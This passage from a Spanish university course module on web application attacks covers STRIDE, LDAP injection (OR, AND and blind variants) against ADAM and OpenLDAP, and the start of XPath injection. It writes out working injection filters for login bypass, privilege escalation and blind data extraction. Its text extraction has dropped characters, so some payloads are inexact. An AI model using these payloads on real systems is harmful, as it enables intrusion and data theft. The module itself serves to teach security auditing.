tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
